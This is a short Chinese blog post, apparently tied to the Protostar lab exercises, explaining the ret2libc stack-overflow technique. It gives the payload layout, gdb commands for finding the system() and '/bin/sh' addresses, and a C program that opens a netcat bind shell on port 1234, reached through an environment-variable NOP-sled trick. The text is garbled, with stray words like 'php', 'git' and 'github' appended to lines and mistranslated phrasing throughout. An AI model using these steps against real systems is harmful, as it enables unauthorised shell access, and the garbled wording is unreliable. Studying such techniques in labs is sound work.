ret2libc

ret2libc能夠繞過堆棧不能執行。利用時棧以下:php

'A'*offset+"system函數地址"+"函數返回值(這個隨便寫)"+"函數參數"
git

0x1:怎麼獲得函數地址和字符串地址github

關閉了ASLR後,一些地址是固定的
獲得函數地址
  <p system
獲得字符串地址
  環境變量
  <find startAdress,endAdress,"/bin/sh"
 或者用程序來找

0x2:函數地址和字符串地址都搞定了,仍是執行不了shell

和前面的一篇博文說的同樣,仍是gets函數的問題.函數

把這個/bin/sh換成whoami就有結果了ui

0x3:執行本身的程序code

//gcc test.c -o test
int main()
{
execl("/bin/nc","nc","-c","/bin/sh","-l","-p","1234",0);
}

export HACK=////////////////////`pwd`/testblog

/的做用至關於NOP滑翔區,由於./getenv HACK獲得的那個字符串地址老是有點誤差.字符串

接着用nc鏈接1234端口,獲得一個shell
get

link:

如何找到地址

http://blog.163.com/tod_zhang/blog/static/1025522142013102105744790/

http://louisrli.github.io/blog/2012/08/28/protostar-stack2/

相關文章
相關標籤/搜索